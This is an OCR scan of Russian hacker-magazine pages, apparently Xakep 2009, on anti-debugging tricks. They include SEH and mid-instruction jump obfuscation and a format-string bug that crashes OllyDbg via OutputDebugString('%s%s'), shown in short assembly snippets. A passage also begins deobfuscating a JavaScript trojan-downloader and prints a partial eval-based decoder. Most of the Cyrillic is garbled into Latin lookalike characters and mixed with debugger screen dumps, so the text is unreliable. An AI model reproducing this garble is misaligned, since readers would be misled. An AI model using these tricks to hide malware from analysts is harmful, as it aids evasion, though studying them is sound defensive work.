< S
S .
S

AHTUOTJIAAOYHBIX

[IPMEMOB

B

S
=
S

OaHO 13 cambix BonblINX yI0BONLCTBUIA ANA peBepcepa (MHorna

« B’é

bosblias ronoBHasa boNb] — NpeogoneHne 3aLnT, KOTopPbIE
BA3aHbI» Ha 00paboTke NCKAYeHNI. Ecnun Thl elle He 3HaKoM

CMOOO0BOHBIM NPUHLMMOM 3aLLMTHbLIX MEXAHU3MOB TO, BCE, YTO
3/10KEHO HUXKe, Tebe o4eHb NpuroanTcs. «Ha 3akycky» — elle o4unH

3aLLNUTHBIN TPIOK: UCMOJIb30BaHMeE OHOM MHTEPECHOM 0CObEeHHOCTH

pabotkl pyHKLMK vsprintf (], bykBanbHo «ybusatoweit» OllyDbg.

«NCKNHOYUTENIbHASRA»
SALLUUTA

YacTo B npouecce paboTel MporpaMMbl BO3HWA-
KaIT CUTYaLMM, KOTOPbIE HEBO3MOXKHO Mpeayc-
MOTpeTh. Hanpumep, NonbiTka 3anucK B A4eiky
namaTH, KOTOPARA NPUHAANEXMT CTPEHULE C
HeycTaHoBNeHHbIM aTpubyTom «writeable»,

WK Xe flenedue Ha Honb, 05 Takmx cutyaumi
nporpaMmucTsl Microsoft cozganu mexaduam
obpaboTku ncknoueHun.

ObpaboTumnk ncknioueHuit, unn SEH (awnrn.
«Structured Exception Handling») — yacte kopa,
Ha KOTOPYIo Bo3noxkeHa dyHkuys 0bpaboTkn
olunbok Ang faHHoro Tpega. HyskHo NoACHUTS,
yto npepfcrasnseT coboi Tpep [oT aHrn. «threads,
HUTB). [lyMato, Thl 3HEELUb, 4TO KO MPOrpamMms|
MO3KeT BbITh «pacnapannesneHs, 70 ecTb He-
CKOMNBKO YacTel MporpaMmbl MOTYT BEINONHATLCS
OAHOBPEMEHHO — B KOHTEKCTE eANHCTBEHHOIO
npouecca [HanpumMep, B rpaduueckoM penaktope
0[lHOBPEMEHHO MOTYT BbINOIHATLCS MeYaTs M306-
PEXEHWA 1 ero pefakTuposaHne). Kaxnas rakas
YacTb NPOrpaMmbl v HaswiBaeTcs Tpeaom. Mpu
3TOM 15 KaX/A0r0 TPefa MoxXeT bhiTs ycTaHoBeH
cobcTBeHHBIN 0BpaboTYUK MCKTIOYEHIH,
[MoymonuaHuio obpaboTkoi MckoYeHMi 3aHN-

» 068

MaeTca cUcTeMHbli 0bpabotunk. Kakum obpasam
ycTaHoBuTE 0bpaboTynk cobeTBeHHbIN?
YkazaTtens Ha CTRYKTYpY, COAepXaLlyio agpec
obpaboTurka [KOTOpbLIN TakkKe coBnagaeT v c
afpecoM ykasartend Ha cam obpaforumk), Haxo-
autca no agpecy FS:[0]. CnegosarensHo, ans
Taro, 4To0bl 3aMEHUTL CUCTEMHbIA 0BpaboTyuk
cobcTBEHHBIM, HROBX0AMMO NOMECTUTL B CTeK
CTPYKTYpY, Cofepxaluyio afgpec Hosoro obpabar-
YuKa, 1 ykazatens Ha crapbii obpabotyuk. [Nocne
yeronomectuTs no agpecy FS:[0] ykaszatens Ha
HOBYIO CTPYKTYPY.

He byaem TepATb BpeMs, paccMoTpUM Ha npak-
TUKE OAVH M3 aHTNOTNAN0YHbIX NpUeMoB. Ecnu
Tbl 4MTaN NPeabIAYLLWIA BEINYCK XypHaa, T
MOMHULb, YTO Mbl MCCNepoBanu Hebonbluyo
nporpammy-«aposoduny» (Bocnonsbayemes
TEPMUHOM, KOTOPHIA MHOT/1E B CBOMX CTATEAX MC-
nonsayet Kpuc), Hanucannyio Ha accembnepe. Ee
MOKHO HAWTK Ha HaLeM AMCKE; TO4Ka BXo4a pac-
nonaraerca no agpecy 0x0401000, a kog, koTopkIi
BblaeT 0koWKo ¢ Hagnueeto «Hello, World s,
viMeeT pasmep Beero 26h 6aiiT. CooTBETCTBEHHO,
HaymHan c agpeca 0x401026, pacnonaraeTcs
«BLIPABHUBAKLUIA» CEKLWIO MACCUB HY/EBbIX
balnToB.

Pazbepem cnenyiolmii kog, KOTOPbIA BHECEH B
PACCMOTPEHHYIO HAMU NPOrPaMMy-«aR0300UNY»
«ex.exe» npu nomoly otnaaduka OllyDbg [He
38bbIBaN, YTO KOS BHOCUTCA, HA4MHaRA C agpeca
00401026, yto Tpebyet ucnonszosarun LordPe
OAA M3MEHEHIA TONK W BXOE B Nporpammyl:

ZOR EAX ,BAX;
PUSH 00401034 ; elet

00401020 PUSH DWORD BTR FS: [EAX]

00401030 MOV DWORD PTR

FS: [EAX] ,ESP; El1EH]
00401033 CALL 00401033; : atim
JMP SHORT 00401038;

1H I F 1 ! i

POP EAX; BOCCTAHOBH

00401034

POE EAX; © TAHOBH

00401036
00401030

POP ESP;
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cmmnmﬂmopwuﬁmm

B e Yl 0 S S A 3 S :
00401000 GA z CHAR *§° - sters ‘Fpu)
cotaicor o0 = o X s
00161002 68 CHAR 'h* pe12FFRe
00461003 00303000 ey % ASCIT Smply program” £ —\.“‘,J; "
00401007 68 : CHAR ¢ ¢
00101008 0F304000 0D er_wecep. D004 ASCIT lle]lo, world!" i R12FFCa
040108 6R AR 5" 1
00401000 . ©OES ADD AL,CH
©OIGLO6F > 0 GG00B0GA  OR EAX,6AG00000
00401013 . OOER ADD AL, CH
00101016 . 0000 ADD BYTE PTR DS:[EAX],AL
00401018 . 0000 ADD BYTE PTR DS:[EAX],AL
00401014 .-FF25 00203000 JMP DMORD PTR DS:[<Bkernel32.ExitProces: kerneliz,ExitProcess P T
00401020 .-FF25 08203000 )P DMORD PTR DS:[ <Buser32.MessageBexy| user32.MessageBoxA
3 330 XOR EAX,EAX 1 e
. 68 34184000 PUSH ex_excep.00401034 FS eps
i, BHiFFI0 PUSH DWORD PTR FS:[EAX] ¥ )
i . 6418920 MOV DMORD PTR FS:[EAX],ESP >
% ES FBFFFFFF  CALL ex_excep. 00401033 astErr ERROR_HOD NOT_FOUND (000003
03| W JEB 04 IMP SHORT ex_excep. 0830103E " .
| sg B St CHAR *X* D003
58 3 CHAR "X* "
sC CHAR “\*
1] EB i
| > (160 08 ROL DMORD PTR DS:[EAX],0 shift constant out of range 1..31
| -"EB €C IMP SHORT ex_excep. 8838106F
0e
[ =
el on & ;
! o
| address [Hex dums ASCIT
mamummwma

AHTUOTNAOKA: KOO I'!PEBPM'MJ'[CFI BHEPABOTOCMOCOBHYHO I'IOII,
OTNAOYNKOM «KALLY»

{
/
/

HY HEKOTOPOM MHCTPYKLMW, pa3MeLLEHHON B
00401030 JMP SHORT 00401000; npepenax cekunm Kofa, 3actaBnsad oTNag4umnkK
BT EHl [8naTe olWUboYHYK NOMbITKY MHTEPNpeTUPoBaTL
WHCTRYKLMK K3K f@aHHbIE. 3T0 MOXKET BbiTh peanu-
[Tocne ycTaHogkk 0bpaboTymka nckdeHui 30B2HO ChenyiolLMM 0bpasom:
NPOUCXOOUT MHULLMUPOBaHWE UCKITIYUTENBHOM ¢ Hauyano kofa NnporpaMMil, KOTOPLIA CTEHCBUTCS
cuTyaLmu [uHeTpykumsa «CALL 00401033» yxoauT — MONHOCTbIO «HEUNTaBENEHBIM»:
B HECKOHEYHYIC DEKYPCUIO, YTO HEMWHYEMO BbI3bI-
B3ET NepenoHeHue cTekal.
EcnunpoaHann3upoBaTh 3TOT KOA, MOXHO
38MeTWTb, YTO MHCTPYKUMWA, PacnonoXeHHad no 00401000 DB BA
anpecy 00401038, Hukorna He DyaeT BbINCNHEHE.
Anpec, copepxatuniica s EIP, namenuTca nocne 00401001 D
TOro, Kak MCKNYeHKe ByaeT creHeprpoBaHo,

{ov]
o
=

W OH E\y,qm paBeH COOEPXKNMOMY yKa3dTend Ha

OLLYDBGACYET ﬂEPEﬂ n EPEJJ,A‘JEI/I
BVSPRINTF l]CI'IELLHCDVII{ATOPOB...

#ina] gnainats | 3 emvea | 4 wetsins | Co0comren ) it

B s v | i | s | i - | et | gt v @ @i

. AOTNAOYUK IMMUNITY HE BE-
PET 3TA «3APA3A»!

00401020 JMP DWORD PTR DS:

[<&user32.MessageBoxA> ]

* Havano AHTHOTNAaA0YHOIMo Koga:

00401026 XOR EAX,EAX

PUSH ex_excep.0040103A
PUSH DWORD PTR FS: [EAX]

00401

rosmpeyo0iomsenaerewmpamenr . JHASATEJD HA CTPYKTYPY, CUJJ,EP}KALIMU AJIPEC

nobasa uHeTpykuma. Bnpouem, ncnons3osa-

HWe B 3TOM MecTe KoMadabl JMP no3sonaer UEPAEUTLIMHA

BBECTM 0TNaf4uMK B 3abnyxaeqne. Hanpumep,

eCNK OMNEepaH/ 3TON MHCTPYKUWK DyneT pageH

0040103E, Bce nocnenywoLmue NHCTPYKUUW 10 DB 68

BOCCTAHOBAEHMWA PerncTpoB byayT TpakToBaTscs

Kak gaHHble, nbo HM ogHa 4acTb nporpaMmel He 10 13 DD ex_excep.00403000
CChINABTCA Ha HIX, a Neped HUMIK pacnonoxeHa

WHCTPYKL WS BesycnosHoro nepexoaa. Kpome 0040100 DE 68

TOr0, CCLINKA Ha MaLWWHHBINA KO, KOTOPBIA A8N5-

eTcA cepeanHor MHCTpYKLuKn JMP, npusoanT K 00401008 DD ex_excep.0040300F
TOMY, 4TO OH& paccMaTpUBaeTCs OTNAAYUKOM Kak
CAeyULME Koa: 0040

103D DB EB p040100D

X,6A000000
ADD AL ,CH

40103E ROL DWORD PTR DS: [EAX] ,0

J0401016 ADD BY
) BYRE PERIBSE 1
2 DWORD PTR DS:

TE PTR DS: [EAX] ,AL
[EAX

My coBceM «006uTe» peepcepa MOXHO, )040101A
ecnv pasMecTuTs nocne komManas JMP SHORT [<&kernel32.ExitProcess>]
004017000 bezycnoBHbIN Nepexod Ha cepein-

XAKEP 10 /130/ 09

)30 MOV DWORD PTR FS: [EAX] , ESP

Q0401033 CALL ex_excep.00401033

00401038 JMP SHORT ex_excep.0040103E

= ,D,EI.J'IE‘E pacnonoXxeHbl HEBEPHO HTERNPETHRYE-
Mblg 0TNaA4nKOM MHCTPYKLUMA:

00401032 DB 58
00401038 DB 58
0040103C DB 5C
00401030 DB EB

» 069



PUSH ex. 00303080
PUSH ex. 00403 00F

PUSH 0
GIT S

Gl Comtkerneian atsrronesss L
L-Fris 80101000/ 1.8 ShomD #1 D2d kernel 39 Exlrocest. kernel3t Exitfrocess
S 04501000 08 WD PTR D+ Buser 52 Moot | o33 Aessagrbant

P8Ee32ezeesessreesss

Fr ua,.{.""i_ L RsaT _-@Wﬁ

Lel”

«@yHKIMKM cemelicTsa printf BbIBOQAT AaHHEIE B COOTBETCTEMM C
napameTpom format, onnucaHHbiM Hke. DyHkumu printf nvprintf
HANPaBNFIOT faHHbIe B CTaHAapTHbLIN MoTok BeiBoga stdout; fprintf
wvfprintf HanpaenaoT AaHHbIE B 33aHHbIN NOTOK BbIBOJA stream;
sprintf, snprintf, vsprintf u vsnprintf nvanpasna0T fanHbie B CUMBOJb-
Hyio cTpoky str. @ynkumn vprintf, viprintf, vsprintf, vsnprintf axeuea-
NEHTHbI COOTBETCTBYIOLMM PyHKkUmsAM printf, fprintf, sprintf, snprintf,
MCKNI0Uas To, YT0 OHW Bei3kiBaoTc ¢ va_list, aHe cnepeMeHHbIM Ko-
JIMYECTBOM apryMeHToB. 3TW hYHKLMMW HE Boi3blBaT Makpocva_end,
¥ TI03TOMY 3HAYEHWE ap MOC/E BbI30Ba HeorpegenerHHo. [punoxerue
MOXKET M03Xe Camo Bbi3BaTbva_end(ap). 3Tu BoceMb hyHKUWIA BbIBO-
AAT A@HHbIe B COOTBETCTBIM CO cTpokoi format, kotopas onpeaenser,
xakum obpazom nocneayole napamMerpsl [Ny ocTynHbIe NapaMer-

-

TAK BbIMJIA0WUT NPOrPAMMA 10 BHEAPEHWA AHTH-

OTNAOO4YHOINo KOOA.BCENPEQEJIbHO ACHO
0040103E ROL DWORD PTR DS: [EAX],0

00401041

9TOT KOA NPEKTUYECKM HE NOSA3ETCH aHaNK-
3y, UTO AOKA3LIBALT: MEXAHMAM MCKKYRHNI

— 0YeHb 3hDEKTUBHLIA 1 MOLLHBIA METOR
aHTMOTNaaKK. VIHTePeCHQ, HTO MHCTRYKLWY,
pacnonaratwluymnecs s6113n To4KK BXOAR, HE
VHTERNPETVPYIOTCS B KaYecTBe Kojla Aaxe
MoCcae TOro, Kak TOYKY 0CTaHOBa YCTaHaBINBAIOT
Ha «[@HHbIE» PACcNonaraiolMecs no agpecy
0x401000. McnpaBUTb CUTYaLWMIO MOXKET TOLKO

JMP SHORT ex_excep.(0040100F

pol NepeMeHHon AnuHel u3 stdarg(3)) npeobpasyiet noTok BLiBOAA».

PaMoTHbIM pa3bop aHTMOTNAA04HOIO KOAS NPa-
PECCHOHANBHEIM DEBEPCEPOM M MHOXECTBEHHbIE
Mpasky KOAa 8 NMPOLLECCE OTNAKK.

MeTog YacTo vcnons3yetes v ang nameHeHws EIP,
TO €CThb 8JPECE BIMONHAEMON MHCTPYKLWK. HacTs
KOfa, KOTopas, Ka3anocs bbl, A0/KHA BEINOAHATLCS,
MOXeT BbiTb MpeABapeHa He CIIMLIKGM SBHO onpe-
LeNeHHbIM MckloseHrenM. B pesynsrate, pasbop
CTPYKTYPhLI MPOrpaMMbl DKAZLIBAETCA A5 PEBEPC-
VIHXEHEPA MPaKTUYECKA HEMOCUNBHOM 331a4el

«KOPMUM>» VSPRINTF ()
CNEUMDUKATOPAMU

OUVd,LH MKW, XOTH W Co30aHbl CnelanncraMm No
PEBEPC-UHXWHWUPWUHTY, SIBIAKTCH NpoOrpaMMami

TOYKAOCTAHOBA BHAYAJIEKOOANPOrPAMMbI HE MOMOJKET.
OLLYDBG BECCMHEH'

D0 AL,CH

ADD BYTE PTR DS:[EAX]),AL
ADD BYTE PTR DS:[EAX],AL

CHAR *h*
AS(II "simpl-,» program”
CHER

ASCIT Ilelln, Morld!”
CHER 5"

oooe
.'FF]S 00203000 1MP DHORD PTR D5:[<Bkernel32. EntProczs- kernel22. Exlﬂ’ﬂxess

*|Registers (FPU)
DOOOSOHD

POBC P00
FCO0ES1A nitdl

P OLZEREC
P OOI2E168

.~FF25 08284000 JMP DHORD PTR D5:[<Buser32.
3 33C0 HOR EAX,EAX

. 68 3A104000 PUSH ex_excep. 08401834
. G4:FF30 PUSH DWORD PTR FS: [Eum x|
. 64:8920 MOV CMORD PTR FS:[EAX]

Hello, Workl!

! $ EB FBFFFFFF
-EB 04

CALL ex_excep. 00401033

| user3z,

rr ERROR SUCCESS (D000O000)

IMP SHORT ex_excep.00d

ROL DMORD PTR DS:[EAX],0
4P SHORT ex_excep. 6630106

B88888s

Shift constant out of range 1..

31

DROON G

5. 03611 702401094651 70 -4932
0061 DDOONNNN RODDELOD

Address |uet dunip afoaizrFsc

| Module D:AWINDOWS \eyetemaZ\mactfime. me

T

Finyor| @ srormesre [t | & %09 vaom a...| & anmipepus o... | i Dapocumentsa.. | L Cithedingiolydba| 34t civdbg - e ex...|[= Simply program [ [ w11 1427

» 070

1 MMEoT YFI3BUMOCTH, CBOWCTBEHHbIE MOAAR-
nswLleMy BonbWWHCTRY APYTUX MPOrpaMMHLIX
npoaykToB. [lopoi ynaeTca NCnons368aTe 3TH
ownbku, 4Tabbl NpenoTBPaTHTL OTNAAKY.
Otnag4mk OllyDbg conepxnT ya3BMMOCTb,
CBA3EHHYIO C MCMNONB30BAHNEM OLINDOUHTOIO
BbINOAHEHKUA byHKUMW vsprintf [, Bxoaswen B
msvert. QyHKuWa BX0AWT B CEMENCTEO QYHKLWK
«printf», Kak 310 onuceIBaeT calT www.npennel
U YWTal Ha BpesKke.

CneuungurkaTopel npeobpasoBaHui, HaYMHaI0-
WMecs CUMBONOM «%», YKa3bliBaoT, 4T0 38 CTPo-
Ko cnegyet napameTp. Ecnu B BeI3oBe GyHKUMN
ykazaH cneyndukarop «%s», napaMeTp Tuna
const char * byneT npeobpa3oBaH B ykazaTenb Ha
CHMBOSIbHBLIA M3CCMB — CTPOKOBOIA yKasaTess.
[Mpu aToM dyHKUWel By ayT BuiBeAeHE CUMBONGI,
BMIOTL [0 CUMBONE-TepmMiHaTopa [«NULL»).

B uem npuunHa owmnbouHoro EbNOAHEHNS
dyrkummn vsprintf () 8 OllyDbg? OxkazbiBaeTcs,
EOHPE,LI,E!J\GHHHX CJIyHaHX OUIG,UHMKHGPE,D,GE\
JI@HHBIE, BCTPEUSIOLLMECH B MPOrPaMME, Henoc-
pencreerHo dyrkumm vsprintf (), Bes kakux-n1bo
AononHuTenwHeX nposepok. Mpenctaes cebe,
YTO B CTPOKE, NepefaHHol GyHKUMK, cCopepxarcs
cneumdukaTopsl npeobpasoBaHuit. Ecnu bynet
BuiNonHeHo npeobpaloBanue napaMeTpa B
yKa3saTelb, KOTOPbIA ByneTyka3biBaTh Ha HEWHM-
LManu3npoBakHHyio 00nacTk NamMATH, Nporpam-
Ma 3aBeplunTces ¢ coobuieHuem ob olmbke.
Wckniouenve He byaeT obpabotaHo cTaHnapTHLIM
obpaborumkoM, N npouecc, NopoAnBILNA ero,
bynet zaseplueH. Tol, HaBepHoe, loragancs,

YTO B C/ly4ae Bui3oBa HekoTopsix APl-dyHKkuwi B
MPOLECCE NCCed0BaHIUA NPOrPaMMbl SaHHbIM
npoueccom byneT ABNATECA oTnag4MK. 3To Hac K
wHTepecyet bonsiue scero :). Ownbka venos-
30BaHua dyHkummr vsprintf (] npw nepepave ei
CYMBOSILHOW CTPOKM, B KOTOROW COARPXaTcH cre-
umdukaTopsl NpecbpazoBaHns «%s», scTpeya-
etca B oTnagyuke OllyDbag sepenn 1.10. MimeHHo
3Ta BEPCWS 1 NONKOWIECH THICHYAM PEBEPCEPOR
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LI !

88481826
804010628
B8B481682D
08461830
00401833
0401838
B0401403AR
BB848103B
B8B40183C
004010830
08846103

88401841
868401843
88401844
28481845
80401046
884681047
an401048
ag46816049
8040184~

EAX

s 33Co
68 3A104000
64: FF30
64: 8920
E8 FBFFFFFF
EB 04
58
58
5C
EB
clee@ @8
"EB CC
[5]5]
ao
(5]5]
o0
(s}
(s ]s]
oa

PUSH

(515}
88
5]5)
B8a
ea
(5 ]5]
5]s]
5]5]

Address
bB403000
88483 (=]
00483010
084683018
pB463682a8
BB483828
884083830
08403838
0B483040
pa4e3o

a8
ao
{5 ]x]

(515]
515)
oa
aa

80483058
Bh483060

T X b It 6 H E++ 1 emtwhcPkbzr.. s ? Consulting Services Manager 5

XOR EAX, EAX

exH >

PUSH DWORD PTR FS:®EAX->
MOV DWORD PTR

FS:® EAX>, ESP
ep.BEAB1B3
2, 868468108

L DWORD PTR DS:°EAX>+,0
SHORT

exdexcep. D846100F

BB12FFC8
BB12FFCC
B81Z2FFDOB
BB812FFD4
881L2FFDB
8812FFDC
0012FFEAQ
BB12FFE4
BB1Z2FFES

Simply p
rogram. H
ello, Wao
rlcl....

7Co10228
FFFFFFFF
7FFDEGOB

7C

. ==
{ =
/ -
f E::
=
f/ =

~| Registers (FPU)
[alalslalsisia]s)]
BO12FFBO
7C98ES14
7FFDEGBA
B012FFCa4
BO12FFFO
FFFFFFFF
7C9 8

884016826

a@g23
Bai1iB
8ez3

8 (FFFFFFFF)
32bit @ (FFFFFFFF)
@ (FFFFFFF
@ (FFFFFFFF)
3a2bit 7FFDDOOB (FF
apao MULL

t ERROR#MODHMNOTHFOU
0P00B246 (MO, MB, E, BE, NS, PE
empty —UNMORM BA98 01050104

RETURMN to kernel:

ntadll. 7€91682

867ADS88
FFFFFFFF
839ADB
7C817080

End of SEH
SE handle
kernel3z. 7C817080

chain

s]su}s]s]slel)
[afalaleis]eiols]

BB12FFF4
BB812FFF8

islalslzislnials}
00401826

. AModuleEntr

Stack oveiflows - use Shift+F7/F8/F3 to pass exceplion to program

%

| Running

OTNAJAYMK IMMUNITY, KAK MOJIHOMPABHbINA «KNTOH» OLLYDBG, BELET CEBA TAK XKE. U AAXKE MOABUCAET

noecemy Mupy! Kcoxanenuio, oTnagymsm ypos-
HS A1Pa W HEKOTOPbIE «MIPUKNEAHbLIE» OTNaA4MKN
He vmMeioT 3Tor olWwubky. Ho Hawa Lens — ognH 13
Haubonee nonynspHbix oTnaguukos — OllyDbg
Huske Mbl paccMOTPMM KOJ, KOTOPbIN AEMOHCTPH-
pYET MENob30BaHWe YA3BUMOCTH.

porpamma MoKeT reHepupoBaTh TeKCTOBLIe
0TNaloYHee coobuleHva. [lna atux uenen B
WIN3?Z ectb dpyHkuma OutputDebugStringAll
bubnuorexkn «kernel32.dl». OyHkunei
OutputDebugStringAll perncrpupyercs
cobeTeeHHbIA 0bpaboturk vcknoyeHni [Mbl
rosopunu 06 obpaboTymkax Belle), mocsne yero
BoizbiBaercy RaiseException(], nHuunvpyouas
nporpaMMHoe ucknwodeHne. Eonv B cucteme
NPYCYTCTBYET OTNEAYMK, YCTAHOBEHHBIA N0
yMonuaHwio, obpaboTka creHepnpoBaHHoro
ucknwyerHns byaeT nepegana emy. B nHom
cnyyae byneT wcnons3oBaTsca 0bpabotymk
YCTaHOBAEHHbLIM CaMoli dyHKUmeir. B Tom, uto
obpaboTurk AefcTBUTENBHO YCTAHOBEH, TETKO
ybeputeca, npoTpaccupoBas no <F7> dyHkuuo
OutputDebugStringAl) no MomeHTa BbI30Ba
BHYTPEHHEH GYHKLMK, CONEPXaLLen cneayio-
LLWIA KOO,

79 PUSH EAX

XAKEP 10 /130/ 09

DWCRD PTR SS: [EEP-4]

5: [EBP-4

WV DWORD PTR SS:

[EBP-8], EAX

VORD PTR S& 107

5: [EBP

5:[0],E

A MOV

DWORD

PTR. T

10 RETN

MMocne BLINONHEHMSA 3TOr0 KOa U BO3BpaTa B
dynxumio OutputDebugStringAll obpaborumk
OyeT yCTaHOBNEH.

BoT npoToTun hyHKUMK, KOTOP&EH BEI3bIBAET

MCcknioveHMe:

tionCode,

sxceptionFla

g

WORD nNumberOfArguments,

CONST DWORD *1pArguments

)i

[Napamerp *lpArguments dopmupyeTtcs

Ha 0CHOBE BXOAHOW CTPOKKM A1 yHKLWI
OutputDebugStringAl). Tak kak ykazaTens byget
MMETb HE1OTNYCTAMOE 3HAHEHWE, MCKOYEeHWE He
bypet obpaboTaHo. A3TO W NPUBOJKT K «yMUPa-
HWio» aThaf4mka.

Jomril

Ha npakTvike 0CyLIeCTBUTL aHTUOTNS A0 HblA
NpWeM, ONMUCaHHbIA Bbille, 04eHE Nerko (8 kauec-
r8e «MOAOMNbLITHOW» MPOrpaMMbl CHOEa BOCIOS b=
ayemca Hawel «gpozodrnois):

00401026 PUSH 00401033

0040102

B CALL OutputbDebugStringh

01031 JMP 00401000;

33 DB “%s3s",0

B nputumne, ecnm Bui30B GYHKUMIN — Kak
BLICOKOYPOBHERRIX, Tak 1 NativeAP| —cnpaTax
[3Toro MoxHO f0BUTLCA, MCT0NL3YS HEKOTOPbIE
MeToguk, Bpoae Stolen code, To ecth MeToq
nepemelleHns koga pyHkumnin B PE-dain]. Bee
MOMbLITKM MCCNeAoBaHUs CBOAATCH K Nepe-
MELLEHWIO B A1p0 BBIMONTHEHMEM KOMaH b
SYSENTER, yta 3acTasnaeT pesepc-uHxkeHepa
MCMOMb30BaTh HU3KOYPOBHEBLIE OTNAAUMKN,
HanpumMep, Softlce. B ceoi cuepens, 370 CBA
3aHo ¢ Bonbwnmmn Tpyao3sartpatamu. [oatomy
37a 3aUMTHAsR «DULLKa» HBNALTCA 04eHb 3P~
deKTUBHOM, ECN NCAXOANTE K €2 peanuaaumm

CyMOM. JC
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TPOSIH-JIOAZLEP NEPEGPACBIBAET EPAY3EP
NEPBAS OLUMBKA, UHULIMMPOBAHHAS JAVASCRIPT- HACAUTGOOGLE
CLLEHAPVEM, OYEHb MOMOJIA!
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TPOAHCKAS
BbUTBA

OBbABNSAEM BOUHY 06®YCLLUPOBAHHbLIM IOALLEPAM

[ymato, KaXkabii nonb3osaTtens CeTu cTankmnsancs c npobnemMamu, Ko-

TOpble BbI3bIBAOT BPeAOHOCHbIE NMPOrpaMMbl — BMPYChbl, HepBW, TPOAHDI.

YT0bbl 9 PEKTUBHO MPOTUBOCTOATL TPOSIHOMUCATENAM, HYXHO HAYUUTb-

CA OdaBaTb MM a,D,eKBaTHbIl‘;I OTMop, paCKpblBaTb MX XUTPOYMHbIE lMJ1aHbl, Ha

KOPHI0 PyOUTH BCAYECKME NOMbITKW HaHeceHus ywepba. CerogHs Mbl nor-

PYy3MMCA B MUD TEOPUN M MPaKTUKKN MCCI1ENOBAHNA TPpOAH-N0aNepoB.

TPYAHOCTUNEPEBOOA

PaccmoTprim 0béycLiMpoBaHHEIA TROSH-034ep,
KOTOPLIA pacno3xaeTcs aHTuerpycom ESET
NOD32 kak «trojandownloaderiframe.ey.gens.
3awndpoBaHHbIi apxWe C TEKCTOM BPeAOHOC-
HOTO CKPWTA Thl CMOXELLE HEMTW HE HalleM
DVD, Ho noMHK, 4To OH NpegHazHaYeH Kb
L7191 03HaKOMAEHUA C NprHLKNaMn pabotel
BpefoHOCHbIX MporpaMm. 3a pacnpocTpade-
HWe TpoAH-Noafepa Hecellb OTBETCTBEHHOCTL
TONBKO Thl, [0 3Ke OTHOCWUTCH U K TBOEH NIMYHOH
fesonacHoCT — HW @BTOP, HKX pelakL s

HE OTBEUEHT 38 NOCNeACTBWUS AeACTBIIA,
KOTOPbIe MOryT BbITh BEINCNHEHEI C UCMNONL-
30BaHMEM 03HaKOMUTENBbHOTO MaTeprana v
TeKCcTa BPeAOoHOCHOro ckpunTa. Ecnu oTpsiTh
html-cTpanuuy, KoTopaa CofepXUT NOTEH-
UMaNLHO OMAcHbIe MHCTRYKLIMYW, MDY NOMOLLLM
ntoboro TeKCTOBOro pefakTopa, — MOXHO
0BHEPYKMTH, UTO MeXAY TeraMK <script
language="javascript">n </script>
HaxoamTca 0bpycurpoBaHHbIi javascript-kom.
Ero ocHOBHbIE HacTh: PyHKUMA, KOTCpAR, CKO-
pee BCero, NpefHasHayeHa ang paclundposxm
TPOSIH-Noagepa, v MHCTPYKLMA BEI30BA AaHHOK
hyHKUMU, KOTOPas NepenaeT B KaUecTee
aprymeHTa 3alWmngpoBanHeli kof. CkpunT
obdycUrpoBaH, No3TOMY erc GyHKUMOHAMb-
HOCTB OMPeAenTh Hpe3BLYanHo TpyaHo. OH
NpakTU4eckn HeduTabenex — uMeHa nepeMen-
HbIX U GYHKUWA BEIFAAAAT Kak BeccMbliCeHHble
Habopsl cMMBONOS. HToBLI NOHATL Ha3HaYeHue
TEX UNW MHBIX YacTel koda, HeobxoamnMo CkpunT
neobdycumposate. MoxHo BoCNONL308aTLCA
cneuuansHeIMU OHAARH-«BbioTMdepamu»
KO4E, TO 8CTb CEPBMCAMMU, KOTOPSLIE Npespa-

XAKEP 10 /130/ 09

watT 0bdycLrpoBaHHeIi Kog B HeyTo bonee
npuenekatensHoe. [lpumep Takoro cepeuca
— javascript-beautifier, pacnonaratwowmincs

noagpecy hitp://jsbea g lonpouecce

neobeyckauum paccMaTpMBaeMoro TRAAH-J10-

afepa MoXHO MPOYECTh, OMATE XKE, H3 HaLleM
DVD: A o4eHb noapobHo onucan ocobeHHocTy
RoccTaHoBneHua o6dycUMpoBaHHoro Kogal.
[Mocne Toro, kak 8 Bocnons3ceancs feabdyc-
KaTOPOM W MPUNOXKWA MaCCy yCunuiA, 4Tobsl on-
pefenuTe Ha3HavyeHne TON UKW MHOW NepeMeH-
HOMW, A NONY4MN JocTaToYHo yaobounTaeMblid
kog [«rosopalmMe» HAa3BaHWA 4aHEl HEKOTOPEIM
nepeMeHHbIM 1 QYHKLMAM MHO):

function Strange_Function (

string parameter)

g. withoutUpcase =

.callee.toString() .

replace(/\W/g, "').toUpperCase() ;

eval (MENnm6iY0) ;

Strange_Function('...09eHL BONENONA

apryMeHT-CTpoKa. .. ') ; //nepemada

zanmMdpOBAHHOI'C KoIa Heamepa GyHKIMM
Kasanoce bsl, npobnema peluera M MOXHO
38HMMaTLCA OTNAAKON KOAA C LEeNbIo felumndpa-
UK TposH-noagepa. K BenvMkoMy coxaneHmia,
TPOSIHOMMCATENL N03a00TUACH 0 TOM, 4T0EL!
javascript-cuerapuii Tepsn paboTocnocebHocTh
npw ntoboi mogndukaumu. Peub o Tom, kakum
obpa3zom 370 BLINO QOCTUIHYTO, MORLET HKXKe.
OcTaeTcs AobaBuTh, 4TO NepeLo MHOK BOZHKMKNA
33[1a4a 0Tnafku opurrHansHoro obdycumpesan-
HOrO KO[1a, & 3TO YPe3BbIYaHO HerpocCTo.

0B®YCKAL WA JAVASCRIPT?
HEMPOBJIEMA!

[lepenTem, kak roBOpUTL ob uccnenosaHmum

KOAA, HY>KHO YAENNTb BHUMaHWUE UHCTPYMEH-

Tam, KoTopble ByayT ucnons3oearses 8 pabaTe.
Kaxgeii cnbitwan kak o bpayaepe Mozilla Firefox,
TakK 1 O NharnHax, KoTopble ONA Hero Co3garTCa B
bonsluom konryectee. Hac HtepecyioT nnaruHsi,
No3BOAAIOLIME OTNEXMBATE Kof java. H1yero
ayqwe, yem Firebug, 5 He scTpeyan. OH cnocober
BbINONHATE 0TNa4KY cueHapuer — nowarogo,
TOYKaMu OCTaHORA, HOBBDHHBTVCTE\HSBTIVIBHTI:
HaEJ'HO,EI,EHVIF[ 3d nepemewm\mm M NCCNenoBaThL
HTML -kog, Bygem cuntaTe, 4To BoIBOR cAEnaH.
Heobxoaumo Takxe nosadotnTecs v o bezonac-
HOCTKM COBCTBEHHOTD KOMMbLIITERE, BEb MCCNeN0-
BaHWe TRoAH —J‘\oaJ:Lepa B HWYEM HE 33U LLEH on
cpeje anepaLmoHHON CUCTEMBI, MPY MCMOMb30-
BaHuy bpay3epa, paboTalolWero B «xX0CToBoM»

0C Bes nocpegHu4ecTsa, MOXeT NPUEBECTH K
3apaxeHuto koMnbloTepa. 0puH AoCTaToHO
